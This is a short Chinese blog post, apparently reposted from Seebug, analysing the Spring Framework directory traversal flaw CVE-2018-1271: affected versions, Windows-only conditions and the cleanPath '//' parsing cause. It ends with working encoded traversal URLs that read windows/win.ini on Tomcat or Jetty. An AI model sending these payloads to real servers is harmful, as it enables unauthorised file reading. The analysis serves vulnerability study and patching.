天天看點

php目錄穿越漏洞,Spring MVC 目錄穿越漏洞(CVE-2018-1271)分析

原文出自:https://paper.seebug.org/665/

漏洞影響

Spring Framework 5.0 to 5.0.4.

Spring Framework 4.3 to 4.3.14

已不支援的舊版本仍然受影響

漏洞利用條件

Server運作于Windows系統上

要使用file協定打開資源檔案目錄

cleanPath的問題在于String[] pathArray = delimitedListToStringArray(pathToUse, "/");

這個是允許空元素存在的,也就是說cleanPath會把//當成一個目錄,而作業系統是不會把//當成一個目錄的。借用一張Orange大佬的圖。

php目錄穿越漏洞,Spring MVC 目錄穿越漏洞(CVE-2018-1271)分析

詳細分析本文不做記錄

注意事項

1、在Spring Framework 大于5.0.1的版本,雙編碼payload在tomcat、jetty下觸發不了,

但是單編碼payload可以在jetty下觸發,tomcat下失敗(因為在預設情況下Tomcat遇到包含%2f(/)、%5c(\)的URL直接http 400)

總結

Spring Framework <=5.0.1

tomcat、jetty:(雙編碼)

/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

Spring Framework >5.0.1

jetty:(單編碼)

/resources/%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini